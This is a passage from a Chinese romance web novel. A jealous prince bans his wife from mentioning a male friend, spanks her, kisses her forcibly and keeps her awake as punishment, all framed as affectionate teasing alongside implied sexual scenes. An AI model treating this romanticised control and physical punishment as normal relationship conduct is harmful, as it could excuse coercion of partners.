柳娆兴致缺缺,她前几天才是真的被打得落花流水片甲不留,以至于现下对玩叶子戏这事儿都有些恐惧了。 慢慢地,她发现有些不对,小四竟然能和小江玩得有来有回,最后,小四竟然赢了。 她愣住,看看对面的江亦清,再看看眼前的封肆:“你赢了。” “如何?”封肆眉头微挑。 “小四,你好厉害!”她掰着他的脑袋,在他脸上重重亲几口。 “诶诶欸,脖子,脖子要掰断了。”封肆获得自由,扭动扭动脖子,稍稍正坐,“玩些大的,如何?按你们那样玩,我得玩到明天才能将她输的钱赢回来。” 江亦清道:“我没意见。” 封肆大手一挥:“你们几个陪玩的,输了算本王的,赢了算你们自己的。” 侍女们立即欣喜道谢:“多谢王爷。” 封肆发话:“开始。” 柳娆兴冲冲跟着喊:“开始!” 她的兴致又回来了,双眸一眨不眨地看着牌面,时不时还要指挥一下,这个这个,那个那个的。 若是平时便随她去了,封肆今日可是带着任务来的,真听她的,一时半会儿都赢不了,还得再输出去。 他边解释边玩,临近天黑,雪又飘起来,他终于将先前输出去的银子都赢回来了。他长舒一口气:“不玩了。” 江亦清故意道:“那可不行,前些日子我赢时,王妃可是不许我走的,否则我也不会被这大雪拦住。” 封肆忍不住朗笑:“宝贝,你真是个天才。” 柳娆只顾着数桌上的银子,边数边往荷包里装。 “路上的雪深吗?”江亦清又道。 “深,道路难行,你就在此安心住几日,待雪化了再走,总归也不急这几日。” “也好。王爷与王妃许久未见,应当有不少话要说,我便先回去歇息了。” 封肆与人招呼几句,待人出门,立即将怀里的人打横抱起,往上抛了抛,大步往卧房走:“想死我了,我的宝贝媚儿。” 她欢呼几声,稳稳躺在他的臂弯中,笑着看去:“不是说积雪难行吗?你是如何回来的?” “自然是趟着雪回来的,我太想你了,一天也等不了。” “啊?”她紧忙低着头看,“那你的衣裳湿了没有?会不会着凉感染风寒啊。” “我骑着马,马趟雪回来的,再说,有我的宝贝这样关心,我肯定不会有事。浴池修了好吗?我们去泡个热水澡?” “好呀好呀!浴池早就修好了!”她抱着他的脖子撒娇,“小四,你不在,我都没有心情用那个大浴池洗澡,一点儿意思都没有。” 封肆喜不胜收:“好,那我今天陪宝贝用。” 一桶桶热水送进来,房中水雾缭绕,柳娆三下两下将他的腰封解开,随手扔在地毯上,害羞抬眸。 封肆轻抚她的脸颊,悄声问:“宝贝,想我吗?” 她点头,眸如星灿:“嗯,我好想你的,我每天都在盼望你回来,小四,你以后少出门好不好?” “好。”封肆捧住她的脸,垂首深吻。 第50章 第 50 章 我的王妃殿下 她抱住他的肩, 踮着脚尖亲回去,直到喘不过气了,才依依不舍松开, 感慨一声:“好久没和人亲嘴了。” 封肆喜笑颜开, 将她的长发盘起, 抱着她跨入浴池中,拿着澡豆在她身上搓洗:“这么喜欢亲嘴?” “对呀, 你不喜欢吗?”她又在他嘴上啄吻几下, 双手抱住他的腰, 欢喜靠在他怀里,“看,池底的贝壳好不好看?是不是很闪?小江好厉害,他不仅会磨贝壳, 还会串璎珞、打络子……” “嗯?”封肆扬起的嘴角微微垂下, 捧起她的脸, 仔细端详, “小江?” “对啊,他不是姓江吗?”她继续滔滔不绝,“除了这些,他还会裁布匹、制衣裳,还会……反正他会得可多了,我想让他留在家里,这样以后就有人陪我玩了。” 封肆脸色微沉:“你什么时候和他这么熟了?” “就是你不在家的时候啊。”她不假思索,推推他停顿的手, “你怎么不给我洗了?” “你喜欢他吗?” “喜欢呀,他人挺好的,会很多东西。” 封肆静默, 沉着脸看她。 “你怎么不说话啦?”她抬头,还未看清他的脸色,便被他掐住脸,堵住唇。 狂风骤雨一般的吻袭来,她的嘴唇几乎被他全吸进口中,又麻又疼,她疼得双手抵住他的肩,不停要往后退,却被人扣住腰又按回去。 她哼哼着呜咽,疼得眼泪不自觉渗出,顺着脸颊滑落,溜进口中。 淡淡的咸味蔓延开来,封肆如梦初醒,猛地将人松开,幽深暗沉的目光落在她脸上。 她蹙着眉,恼道:“你弄疼我了!” 封肆闭了闭眼,冷静许多,再次将她抱入怀中:“他家里有事,不能留在府中陪你,以后不许再提此事。” “他有什么事吗?他又没有成家,没人在家里等他……” 封肆掐住她的脸,打断她的话。 她明明白白瞧见他阴沉的脸色,吓得一抖,垂下眼,小声道:“你凶我。” “我不喜欢你提他,以后不许提他了。” “你凶我。”她低声重复,嘴撅得老高,“你每回都是这样,一回来就凶我,我今天可没惹你,你要是困了就去睡,不要把脾气撒在我身上。” 她转头就走,淌着水要往岸上去。 封肆跟上,将她捞回怀里:“你听不出来我吃味吗?离江亦清远一些,不许叫他什么小江,不许提起他。” 她转头,惊奇道:“你吃醋啦?为什么呢?” “没有为什么,你只需要按照我说的做。”封肆将她按进怀里,低头轻吻她的唇。 她左右扭着头躲:“不要,我还在生气,我不要和你亲嘴。” 封肆不说话,只在她脸上啄吻,怀里的人不配合,但脸颊还是从前一般软乎乎的。他亲着亲着,嘴角不禁又扬起:“宝贝,亲亲我。” 她脸还垮着:“不要,你也不许亲我。” 封肆搂住她的腰,笑着吻:“那你要怎么才能亲我?” “我怎么样也不亲你,我以后再也不要亲你了。” “好,是我错了,我不该凶你。” 她瞥他两眼,见他笑着,不服气嘟囔:“你自己不陪我就算了,还不让别人陪我!” “什么陪你?你这叫红杏出墙,你知道吗?” “我怎么红杏出墙了?我又没和他亲嘴,我又没和他这样抱在一起,你凭什么说我红杏出墙?” “因为你总是提起他,总是想起他,这就叫红杏出墙。”封肆指着她的心口,“我要你这里以后都不准再有他。” 她叉着腰,气道:“我没有,我只是把他当做好朋友!” 封肆道:“许多红杏出墙就是从好朋友开始的。” 柳娆噎住:“我……” 封肆将她扣回怀里,垂眸看着她:“应不应?不应,我也去找一个女人来做我的好朋友。” 她嘴张了又张,理直气壮道:“你不陪我,还不许旁人陪我!我就是要人陪我,你自己看着办吧!” “我看是我平日里太纵容你了。”封肆一手护住她的后脑,将她按在池边,一手托着她的腰往自己跟前送。 他有些恼火,这几日外面下大雪,路上全是积雪,连商队都停了,他一路趟着雪回来,只是为了能早些见到她。他也不指望她能明白这种心情,更不需要她感念什么,可他这样赶回来,绝不是为了听她说什么要别的男人陪着她这种话,即便这话里并没有私情。 与其说是恼火,不如说是伤心,这个只会贪图享乐的磨人精,嘴上是一套套的,哄人的话张口就来,实际上根本就不会关心他是如何想,他会不会伤心。 他将人困在岸边的地毯上,一遍又一遍在她唇上吻,想将心中这些颓丧的想法全都忘却,这些想法不该出现在他脑子里。 他的吻只是汹涌,不像方才一样带着怒火,没弄疼怀里的人,反倒让她得了几分趣味。 柳娆原本想继续生气的,可是她很久没见他,其实也很想他的,她的腰根本不受她的控制,自己便摇曳起来,恨不得将自己送给人吃了。 她的嘴也不听指挥了,忍不住开口低吟,忍不住喊他:“小四,小四……” 封肆心中的恼怒、悲伤、辛酸全被这缠缠绵绵的音调喊没了,只剩无限爱怜:“宝贝,亲亲我。” 她用力扬起脖颈,在他脸上轻啄一下。 封肆弯唇,低头将脸送到她唇边:“宝贝,亲我。” 她双臂紧紧缠住他的脖颈,在他脸上啃咬,留下一排浅浅的牙印。 冷冽的夜风席卷门扉,轻轻作响,房中的音律相和,封肆单臂搂住她的肩,将她紧紧按在怀中。 许久,脸上的热汗都要凉了,封肆在她耳边轻轻啄吻几下,将她抱回水中。 折腾一通,她不吵也不闹了,安安静静窝在他怀里,小脸通红,封肆忍不住又亲她几下,继续拿着澡豆给她清洗。 “乖媚儿,夫君很想你,满脑子都是你。” “那你还凶我。”柳娆趴在他肩头,鼻子一酸,哽咽道,“凶我,还欺负我,把我嘴吸得好疼。” “现在还疼?” “疼!”她撅着嘴,红润的嘴唇几乎怼在他眼睛上,“你自己看,肯定都红了!” “嗯,是有些红。”红艳艳,水润润的,让人忍不住采撷,封肆扶住她的后颈,浅尝一口,悄声问,“还要不要?” 她咬了咬唇,轻轻点头。 封肆的胸膛,看着是紧实的,可摸上去却又是软的,又软又暖和,热气弥漫,带着他身上独特的气味在她脸边萦绕。 她说不出那是一种什么样的气味,浅浅的,淡淡的,让她迷迷糊糊的,她很快就抵抗不住,哼哼着抱紧他。 封肆亲亲她的脸颊,又问:“乖宝贝,爱不爱我?” 她抱住他的肩,佝偻着腰,抵在他的颈窝里,小声回答:“爱你。” 封肆捏起她的脸:“看着我说。” 她咬了咬唇,脸颊通红:“小四,我爱你呀。” 封肆神色稍正:“以后不许在我跟前提江亦清,我不喜欢你提起他,记住了吗?” “可是我和他没有什么呀,你为什么要这样?” 封肆箍住她的手停下。 她抱住他的肩,不服气道:“哼,还不动了,我自己又不是不能扭,不动就不动,你最好一下都别动!” 封肆被逗笑:“宝贝……” “不许说话!”柳娆捂住他的嘴。 他气得巴掌拍去:“将我当成什么了!” “你不要说话,不要破坏我的兴致。”柳娆哼哼着小声呜咽起来。 封肆气得要命,掐住她的腰,抱着她一转。 天旋地转,她卧在被褥里,瞪圆眼看他:“你不是不要的吗?” “谁说我不要的?”封肆将她的双手钳在头顶,在她耳旁悄声道,“我今日就好好收拾收拾你,让你以后不敢再跟我蹬鼻子上脸。” 收拾了半个时辰,身旁的人酣然入睡。 封肆仰天长叹一声,默默给她盖好被子,平躺片刻,微微侧身,从身后抱住她。 清晨的日光照进房中,封肆睡得正熟,忽然脸上一阵轻痒,他睁眼,正好瞧见柳娆拿着发梢。 “做什么?”他皱了皱眉。 柳娆瞥他两眼,往被窝一钻:“没什么。” 他捏捏眉心,清醒许多,翻身隔着被褥将她抱住:“一大早就不消停。” “一大早就凶我!” 封肆笑着亲亲她的额头:“今天为何醒得这么早?” 她轻哼:“你回来了,我高兴得睡不着啊,你就一点儿也不高兴,睡得这么久。” “还高兴得睡不着呢?”封肆笑道,“我也高兴,我是这两日赶路累了,才睡得久一些。” “那你现在睡醒了吧?” “又有什么安排?我的王妃殿下。” 她伸出双臂,勾住他的脖颈,笑嘻嘻道:“我们去堆雪人吧,我前两日就想去,可惜没人陪我。” “你怎么不叫……”封肆将江亦清三个字咽回去,他可不想当什么怨夫,“外面天寒地冻的,你也不怕着凉?”《 》 50-60 第51章 第 51 章 嘴上没骂 “穿厚实一些不就行了?你去不去嘛。”柳娆搡他。 他被晃得有些晕, 连声道:“好好,我去我去,总要收拾完再去, 你先松手。” 柳娆弯着眼在他脸上亲一口:“这才对嘛, 快起快起!” 他看她这副兴奋的模样, 难免胆战心惊,果然, 吃罢饭, 他便被人拉着往外跑, 雪已停,天晴朗,积雪消融,刺骨的寒风迎面而来。 “媚儿。”他喊一声, 没能将人拦住, 又抓住她的手腕将她往回拽, 将她护在斗篷下, “跑慢些,刚用完早膳,这样吃冷风,当心肚子疼。” 毛绒帽子下的脸已被风吹得微红,明眸眨眨,还在嘴硬:“我不冷啊。” 封肆紧紧她的斗篷:“脸都冻红了,还不冷?” “那多好啊,那就不用涂胭脂了。” “就你道理多。”封肆握住她的手, 放慢步伐,缓步行走,“此处积雪甚厚, 就在此处堆,去吧。” 她没松手:“我们一起去呀。” 封肆叹息:“你去堆就行了。” “那你呢?你单站在这儿多傻啊,你跟我一起去嘛。”柳娆拖着他往前走。 他扶额,难道他这个年龄跑去堆雪人就不傻了吗? “给你。”柳娆将铲子塞进他手中,自顾自蹲地铲雪,半晌,未见他动弹,又拉着他的手一拽,“你来帮忙啊。” 他踉跄几步,仰头望望天,认命半蹲,拿着铲子,听着她的指挥将雪铲在一块,聚成球,突然蹦出一句:“我七岁就不玩这种游戏了。” 柳娆头也没抬:“啊?那你太可怜了吧?” 封肆噎住。 “你现在可太幸福了,有我陪你玩。”柳娆抬头在他脸上亲一口,“快堆吧!雪人的身子已经堆好了。” 他吐出一口浊气,握握铲子,一鼓作气将周围的雪铲来,迅速滚成两个大小不一的球,垒在一起,如释重负:“好了。” “哇,你好厉害啊,那你帮我们再做一个雪人吧!” “什么?不是已经堆完了吗?” “没啊,这个是你,还要再堆一个我呢?”柳娆捡来几颗石子,按在雪人脸上,脑袋一伸,脸贴着他脸上,“看,像不像你?” “呃……”他看不出来,他和这个雪白的大脑袋有什么相似之处。 柳娆看看他,再看看雪人,眉眼弯弯:“还是很像的啦。” 他兴致缺缺:“不冷吗?堆这一个就行了。” “那怎么能行呢?还要堆一个我,无论在哪里,我们都要在一起呀。” 封肆愣住。 “继续。”柳娆将铲子又往他手中塞了塞。 他再不多嘴,此刻就是要他将全府上下的雪都铲来,他也心甘情愿。 堆好,柳娆又捡来几个石块,照样按在雪人脸上,一脸满意地欣赏:“嗯,这就是你和我嘛,真好。” 封肆不禁扬唇:“嗯。” “小四~”柳娆双臂缠住他的肩,亲昵地和他贴贴脸,“还是有夫君陪着我好,夫君什么都听我的,愿意陪我玩,陪我堆雪人,要是能天天和你在一起就好了。” 他满心怜惜:“待我进宫便与陛下说,明年我肯定会少出些远门。” “那太好啦。”柳娆突然问,“这几日下雪,也出不了门,你应该没什么事要做吧?” “当然,我这几日都能在家陪你。” 柳娆伸出双手:“那你给我涂指甲吧,你看,你上回给我涂的都没了。” 封肆感动的眼泪还没涌出来便被噎回去,一脸为难道:“呃……我好久没给你涂了,肯定涂不好的。” “就是好久没涂了,才要好好练习啊,我相信你,小四,你最棒了!”柳娆拉着他往房中跑。 他棒个屁! “来嘛来嘛。”柳娆拉着他坐下,将染指甲的工具往他跟前一摆。 他无处可逃,只能束手就擒。 好不容易涂完指甲,他又被拉去串璎珞,串完璎珞,又要打络子。眼见天黑,他心想,今日的活动总算是要结束了吧?可又被拽去洗澡,洗完澡,终于到了唯一一个他有兴致的活动。 他高兴活动完,正要放松闭眼,一道阴影罩下,柳娆结结实实趴在他身上。 “好困啊,我们睡觉吧。” “你压着我,我怎么睡?” “为什么不能睡?你先前都能睡的啊?乖,快睡吧。”柳娆在他脸上亲一口,寻了个舒服的姿势,美美闭眼。 他气不打一处来,咬着牙,握紧拳,等到她熟睡,立即将她放去一旁,闭上双眼。 三息后,他睁开眼,又将熟睡的人搂回怀里,彻底入眠。 他想着,媚儿不过也就是这些招数而已,不曾想,接下来几日更是没有消停的时候,磨胭脂、做香囊、剪窗花、玩投壶……花样百出,好不容易积雪消融,等着他的又是一堆室外的活动。 “我们去花园里捉迷藏吧!” “嗯?”封肆挑眉,这个提议好像不错,至少他躲起来能稍微休息片刻,他当即应下,“行,那我先藏。” 柳娆兴奋地搓搓手:“好!那你去吧!” “你先转身数十个数。” “一、二……” 还没数到三,封肆咻一下蹿出去,在假山石下的缝隙里躲好,长舒一口气。 这些天把他折腾得够累,此刻躲在这个嘀嗒着雪水的狭小洞穴里,看着远处的蓝天白云,都十分惬意享受。 江亦清路过,脚步一顿,盯着他看了许久,满脸疑惑:“王爷?” “咳咳。”他佯装正色,稍稍整理整理衣衫,一脸正经道,“你这是要去往何处?” 江亦清忍不住多打量他几眼:“积雪消融,外面道路能行驶了,我来跟王爷请辞。” 一道浅粉色的身影从山石后蹿出来,往封肆背上一扑,将他的腰压的往前一弯:“抓到你咯!” 他眼疾手快,抓住山石才没往前摔去,他的面子却已经摔得稀碎了。 “诶?”柳娆还抱住他的腰,从他身后探出脑袋,“小江?你怎么在这儿?” 他顾不得什么面子不面子,脸色一沉。 江亦清微微行礼,垂眸恭敬道:“积雪消融,草民特来跟王爷王妃请辞。” “啊?你这就要走了?”柳娆从封肆身后走出,“我们不是说好的吗?你留在这里陪我的吗?你都忘啦?” 江亦清吓得心头一颤,连忙解释:“草民何时与王妃说过这样的话?王妃还是莫要说笑为好。” “噢,你是说让我跟小四说嘛,他现在就在这里,你可以直接跟他说啦。” 江亦清欲哭无泪,他真是跳进黄河也洗不清了,封肆生气起来,真能将他做成肉干的。他慌忙解释:“草民先前便和王妃禀明过,草民家中还有事要忙,不能留在此处的。” “那小四要是不在,谁陪我呢?要不这样,等他走了,我再给你写信,你再过来,好不好?” “天色已晚,再不出发,恐耽搁了时辰,草民告退。”江亦清边行礼边后退,几乎是逃出去的。 柳娆望着他的背影,奇怪道:“诶?我话还没说完呢,怎么就走了?” 话音刚落,封肆突然抓住她的手腕,几乎是拖拽着她往房中走。 “你干什么?”她喊几声,没得到回应,疑惑化为愤怒,她大喊大叫,“你干什么!你放开我!” 封肆将她扔进房中,反手关上门,怒斥:“你还生气?你有什么脸生气?这些天,你要我做什么我就做什么,要星星不给月亮的,你倒好,还说什么我不在的时候,让别的男人来陪你?柳娆,我就是平时太纵容你了!” “你凶什么凶!你就会凶,就会凶!你每天不是凶我就是凶我,你就是大凶鬼!我就要别人陪我怎么啦?谁让你不能在家陪我?你要是能陪我,我需要别人陪我吗?你应该找找自己的问题,而不是一天到晚凶我!” “好,好,我这就找找我自己的问题。”封肆两步上前,将她抱起,往床上一扔,捉住她的脚腕,将她拽到床边。 “嘶啦”一声,背后立即凉飕飕的,她赶忙捂住臀,惊恐高呼:“你要干什么!” 封肆将她的手按住,一巴掌拍在她臀上,狠狠惩罚:“你再给我犟嘴!” “我没犟嘴!你就是只会凶我!”她还没骂完就,就被堵住了嘴。 巴掌狠狠落下,她疼得又尖叫起来,一边往前爬着想逃,一边又忍不住摇着,没多久,眼泪汪汪。 “不要打我了,好疼,呜呜……” “知道错了吗?” “我怎么就错啦?你打我,应该是你错了才对!” “啪啪!”又是两巴掌。 她哭丧着脸,哑着嗓子喊:“我错了,我错了,不要打我了……” 封肆气消一些,俯身靠近,触碰她的唇。 她还生气,死活不肯张嘴。 封肆稍稍用力,捏开她的嘴,掠夺她口中的空气,将她吻得气喘吁吁,眼泪涟涟。 “再犟嘴?” 她阿巴阿巴两声,实在没力气说话。 封肆松手,看着她红润的脸颊,在上面啄吻几下:“乖媚儿,真漂亮。” 她掀起眼珠子瞅他。 封肆挑眉:“还不服气?” 她吸吸鼻子,在心里骂他。 封肆轻哼:“你看你那个不服气的模样,你就算是不说,我也知道你在心里骂我。” 她嗓音里带着哭腔,又委屈又理直气壮:“我嘴上又没骂你,你不准打我。” 第52章 第 52 章 小四他打我! 封肆低笑:“那你听不听话?” 柳娆连连点头:“听话, 听话。” “这可是你自己说的,以后就不许再提什么让别人来陪你的话。” “啊?”她的脸哭丧得更厉害了,“凭什么?” 封肆又是一巴掌, 咬着牙道:“你说凭什么!你还敢跟我问凭什么?我看你是没挨够!” 她又哭起来:“别打了, 别打了, 我屁股要被你打开花了!” “那你听不听话?”封肆抬着手,随时要落。 柳娆回头看一眼, 哼哼唧唧:“你无理取闹。” “我无理取闹?”封肆气极反笑, 狠狠按住她的腰, 几乎要将她钉进床板里,一向厚重的纹丝不动的木架床都有些摇摇晃晃,发出轻微的响声。 柳娆又叫又哭,自他们成亲以来, 她还没有受到过这样的刺激, 浑身酸麻得已经没有知觉了。 她抓着褥子往前爬, 身后的男人跟着往前, 逼得她的头顶在冰冷的墙面上,无处可逃,哼唧着又哭起来:“呜呜呜,你欺负我,我再也不要理你了。” 可惜,封肆已经看透她的小把戏:“别在这里跟我磨嘴皮子,我今天非治治你这个性子不可!” 她哭嚎起来,这一回, 她就算是真的认错也无济于事了。 天渐暗,封肆看着她白皙后背上的凌乱的吻痕,气消不少, 最后,哑声教训:“还敢不敢?” 她咬咬牙,哽咽道:“你不陪我,还不让别人来陪我……” “那你不陪我,我是不是也能让别人来陪我?” “可是我有时间陪你,是你没时间陪我,你要是需要我陪,我就能陪你呀。” 封肆气得仰头连笑好几声:“好好好,你这个小东西,你给我记住你自己的话。” 柳娆磨了磨牙,不服气地冷哼。 她累了,一点力气都没了,眼皮闭上就不想挣开,随意寻了个姿势便呼呼大睡。 突然,封肆喊醒她。 “起来陪我玩。” 她一脸莫名,眉头紧蹙:“我困了!” 封肆不紧不慢,好整以暇:“可是我不困,我现在要起来玩,你也起来陪我玩。” “我困了!我要睡觉!” “你不能陪我,那我可就要找别的女人来陪我玩了。”封肆佯装要起身。 柳娆一愣,立即抱住他的肩,将他按在床上:“不行不行!” “哦?为何不行?你不陪我,还不让别人陪我?我不管,我要人陪我。” “大晚上的,你不睡,让人陪什么陪?” “那你别管,反正我现在睡不着,我要起来玩。” 柳娆狠狠瞪他两眼:“我陪你!” “那你起来。” 柳娆瘪着嘴坐起,圈住他的肩,疲惫的脑袋往他肩上一靠:“太晚了,我们就在这里玩。” 他没拒绝,稍后片刻,等到身旁的呼吸声绵长,再出声:“起来,陪我去玩。” 柳娆刚刚睡醒,又被喊醒,又气又懵:“你到底要玩什么嘛!” “你别管,反正你起来陪我玩,你是不是起不来?那算了,我去找别人陪我玩了。”封肆又佯装要走。 柳娆紧紧抱住他,欲哭无泪:“我不困,我们就在这里玩。” 她现在困得厉害,脑子里晕晕乎乎的,别说是站起来,就连竖着脑袋都困难,话刚说完,头一垂,又要往他肩上垂去。 封肆故技重施,再次将她喊醒。 反复几回,她终于受不了,哇一声哭出来:“我要睡觉,我要睡觉,我困了!” 封肆强忍着笑意:“你不是说你随时都能陪我的吗?” “你欺负我,呜呜呜,你欺负我,你好坏,你故意不让我睡觉,你好坏……”她真困坏了,反反复复都是这几句,眼泪吧嗒吧嗒往下掉。 封肆又好笑又觉得心疼,将她搂入怀中:“谁叫你无理取闹。” 她扭了下,没能挣脱,趴在他怀里哭:“你好坏啊,你怎么能这么坏,我头疼,心口疼,你不关心我,你就知道欺负我,呜呜呜……” “好好好,我错了,我给你揉揉。”封肆搂着她躺下,温声细语,“以后还无理取闹吗?” 她哼哼两声,睡着了。 封肆无奈叹息一声,也合上双眼,夜已深,他的睡意也早已浓厚,媚儿不睡,他也折腾不动了。 一觉睡到下午,两人一起醒来,皆是睡眼惺忪。 “好饿。”柳娆喃喃。 “起。”封肆搂着她坐起,给她披上一层外衣,“洗漱去。” 她刚醒,脑子还是懵懵的,钝钝洗漱,钝钝梳头,拿起碗筷的那一刻才想起他们昨晚还在吵架。 “哼!”她将筷子往桌上重重一拍。 封肆瞥她一眼:“今天的饭菜不合胃口?” 她抬着头,撅着嘴:“我屁股疼!” 封肆瞥周围侍女两眼,待人都退下,往她碗中夹菜:“屁股疼什么?” “你还有脸问?”她瞪大眼睛,“不是你弄的?你打我,还那么用力!” “不是你先无理取闹的?” “明明是你无理取闹!” 封肆将菜碟往她跟前推了推:“你继续,今天还早,我还能跟你大战三百回合,若是你能受得了。” 她心头一颤,立即闭嘴,安静吃饭。 不多久,侍女又来敲门:“殿下,娘娘,太后请殿下和娘娘明日进宫小聚。” 柳娆眼眸转了转,第二日,瞧见太后的那一刻,立即扑去,哭得凄凄惨惨戚戚:“母后啊,小四他打我!” 封肆扶了扶额,恨不得朝她撅起的屁股踢一脚,低声道:“快起来!” 太后瞪他一眼,连忙抱着怀里的人哄:“不哭了,他打你哪儿了?母后为你做主。” 柳娆仰头哭嚎:“他打我屁股!” 太后一顿,抬手禀退殿中宫女,任由他们闹。 封肆叉着腰,气道:“我为什么打你?你敢不敢说?” 柳娆眨巴眨巴眼,瘪着嘴不语。 封肆冷笑:“自己也心虚了吧?” 柳娆提着裙子站起:“我怎么就心虚啦?就是你,不在家里陪我!” 太后附和:“媚儿这话说得没错,你是该放放朝堂上的事,好好陪陪媚儿,你也到这个年龄了,该考虑要个孩子了。” “母后,你不要听她胡说,她不是要我在家里陪她。”封肆又看向柳娆,“你敢不敢跟母后说,你是要什么?” 她嘴一撅,又不说话了。 “你拿镜子看看你自己那副做贼心虚的模样,我看你不是不明白,你是揣着明白装糊涂,故意跟我作对!”封肆弯身捉住她的手臂,“走,你跟我出去说。” 她赖在地上不肯起来:“不!我不出去,单独说你就要打我了!” “你给我起来。” “我不起。” “你起不起?” “我就不起,怎么啦?你要在母后跟前打我吗?你这个不孝的人!” 封肆气着仰头干笑几声,指着自己问:“我不孝?嗯?我和你之间的事,跟我孝不孝有什么关系?你最好赶紧给我起来,否则你就给我做好一辈子都躲在这里的准备。” 柳娆眼瞳微动,又抱住太后的大腿:“母后,你看,他在你跟前都对我这么凶,回家后只会更凶,母后,你要帮我啊。” 太后拍拍她的手,朝封肆看去:“你是太凶了,有什么事好好说,不要在哀家这里大吼大叫,吵得哀家头疼。” 柳娆连连应和:“就是就是,你声音小点儿,吵得母后头都疼了。” 封肆咬了咬牙:“我是要跟出去她好好说,她一直在这里胡搅蛮缠,无理取闹。” 太后叹息一声:“媚儿,你还是跟他出去好好说说吧,你们俩之间的事,母后也不好多嘴。” 她抬头,水灵灵的大眼睛对着太后眨巴眨巴,无果,她只能拖着步子,一步三回头地往外走。 “儿臣告退。”封肆大步跟上,一把抓住她的手腕。 她垂头,眼眸滴溜溜地转,走到殿门口时,突然挣脱他的手,毫不犹豫,拔腿就跑。 “媚儿!”封肆高呼一声,大步跟上,心中急得直骂,这个笨蛋,宫里是什么地方,哪里能乱跑?万一撞见什么不该看到的,那就麻烦了。 柳娆只知道要是被追上,肯定要挨打,只顾着一头往花园子里冲。她也不傻,她来过这里,对这里熟悉,只往熟悉的地方钻。 冬日的花园几乎凋零,但树木假山还在,人往里一钻,很快就没了影,封肆吓坏了,急忙大声唤:“媚儿!别跑了!我保证,我不打你!” 轻浅的脚步声回答他,他眉头紧锁,循着声音追去,还没看到人影,便听见惊呼一声。 他一怔,飞奔而去,瞧见站在竹林前的皇帝。 “皇兄?”他强作镇定,大步冲过去,将惊吓定在原地的人搂在怀里,“见过皇兄。” “远远就听见这边有吵闹声,原来是你们将朕这园子当成嬉戏打闹的场所了。” 封肆紧紧搂住怀里的人:“臣弟不敢。” 皇帝看向他怀里的人:“方才不是还在跑跑跳跳吗?怎么每回见到朕都是这副模样?朕生得这样可怕吗?” “皇兄不怒自威,媚儿自然敬畏。”他道,“媚儿不常来宫中,不知宫中规矩,还请皇兄勿要怪罪。” 第53章 第 53 章 我是东西吗? “怪罪倒是不至于。”皇帝笑问, “你们在这里玩什么呢?你追我赶的,这样欢快。” 封肆将人往身后藏了藏:“没什么,前两日绊了几句嘴, 媚儿以为臣弟要打她。” 皇帝收回落在柳娆脸上的目光, 稍稍直立:“这就是你的不对了, 怎么能对女子动手呢。” 封肆道:“未曾动手,一些误会而已。” 皇帝又道:“看过太后了?” 封肆见皇帝终于不再问与柳娆相关的话, 微微松了口气:“是, 母后还在等我们过去用午膳。” 皇帝摆摆手:“去吧。” 封肆拱手行礼, 揽住身旁的人转身离去,边走边摸摸她的脸,小声问:“方才喊什么?” 她也小声说:“我不小心撞到你皇兄了。” 封肆稍顿,弯唇道:“无妨, 有我在, 不会让你有事。” 她压下扬起的嘴角:“噢。” 封肆捏捏她的鼻尖:“小坏蛋, 就会冲我张牙舞爪, 跟我蹬鼻子上脸,遇到旁人就老实了,看来还是我平日里对你还宽容了。” 她一口咬上去,在他指尖留下两颗浅浅的牙印:“你抱我,我走累了,走不动了。” 封肆咬着牙将她抱起,故意将她抛起,吓得她又惊叫起来。他笑着道:“再叫, 再把皇兄引来,罚你跪在园子里一整日。” 柳娆眉头一拧,抱住他的肩小声嘟囔:“我不要。” “害怕下回就别在宫中乱跑, 真要出什么事,救都救不回来,知道吗?” “噢。”柳娆抿了抿唇,“那你方才说不打我了,还算数吗?” “方才算数,现在不算数了。” 她立即挣扎起来:“你放我下来!” 封肆笑着抱紧她:“别乱跑,方才的事还不够你长记性的?有什么事我们回去再说。” 她点点头,这才消停下来,待马车出了宫门,她立即又提起气,紧张兮兮。 封肆瞥她一眼,好笑道:“你缩在角落里做什么?不挤吗?” 她连连摇头:“不挤不挤。” “你过来,我保证不打你。” “不不。” “你为何这样害怕?我下手有那么重吗?” “有!”她重重点头。 封肆朝她伸手:“你过来,我给你看看。” 她往后缩得更远:“不要。” 封肆稍等片刻,将她的手臂一抓,带着她整个人抱入怀中,轻轻抚顺她鬓边的碎发:“我看你能跑能跳的,不像是有什么大碍的模样,你就是夸张。” “没夸张!我现在还隐隐作痛呢!” “还隐隐作痛?有那么严重?” “就有!”她抱着他的肩晃晃,“你这个大臭猪,我就是想要你在家里多陪陪我而已,你就打我!还说什么要跟皇帝说,你今天见到他了,你怎么没说?你就是骗我的,你根本不想在家陪我。” 封肆微愣,轻轻捏捏她的脸颊:“我就说,你是故意和我作对。” 她轻哼一声:“果然是,小江都和我说了,你们现在忙得很,你根本不可能在家陪我,你还骗我!” “我是要和陛下说……” “那你白天见到他怎么不说?” 封肆悄自叹息一声,心中无奈:皇兄的目光都快黏在这个傻瓜身上了,她怎么就感觉不到呢?那会除了赶紧将她带走,哪里还有什么别的更好的法子? 他和皇帝为了一个女人反目,先死的不会是皇帝,也不会是他,会是这个女人,在他不确定皇帝到底是如何考量的时候,最好还是不要轻举妄动。 “你冲撞了他,我不赶紧带你走,他要是罚你怎么办?我改日单独进宫的时候再与他说就是。” “那你还是为我好啦?” “否则呢?”他用鼻尖蹭蹭她的鼻尖,轻声道,“我下回去宫里就跟皇帝说,母后催我们要孩子,我不能经常出门,否则没法跟母后交代。” 柳娆眨眨眼:“要孩子?” 封肆笑着轻咬她的鼻尖:“笨,托辞都听不懂?” “你才笨!”她一口咬回去,“谁说我听不懂了?我就是问问你怎么跟母后说嘛,我可是很聪明的。” 封肆耸耸被咬出牙印的鼻子:“好好,媚儿是全天下最聪明的。” 她得意应和:“那当然了。” 封肆笑:“最聪明的小香猪。” “你才是猪!你才是猪,你才是……” 封肆偏头,温热的唇轻碰她的下唇,用唇峰轻轻夹起她的唇瓣,轻轻啄吻,唇瓣和唇瓣轻轻挤在一起,湿热的气息悄悄溜进她的唇缝中。 她咽了口唾液,双手轻放在他的肩上,眼眸微垂,轻轻回应他这炙热而又轻柔的吻。 骤热的呼吸如同一张羽织成的网,轻轻摇摇落在心中平静的水面上,晃晃荡起一层又一层波澜,一层卷起一层。 封肆呼吸一窒,将人紧紧搂在怀中,低沉着嗓音道:“以后你不跟我一同进宫了。” 不论皇兄是如何想的,他都不能再放任这种可能,就算是圣旨亲临,他也再不会带媚儿进宫。 柳娆迷迷糊糊的,没太听明白:“昂?” 封肆捧起她的脸,笑着啄吻几下:“我们回家沐浴,一起泡大浴池。” 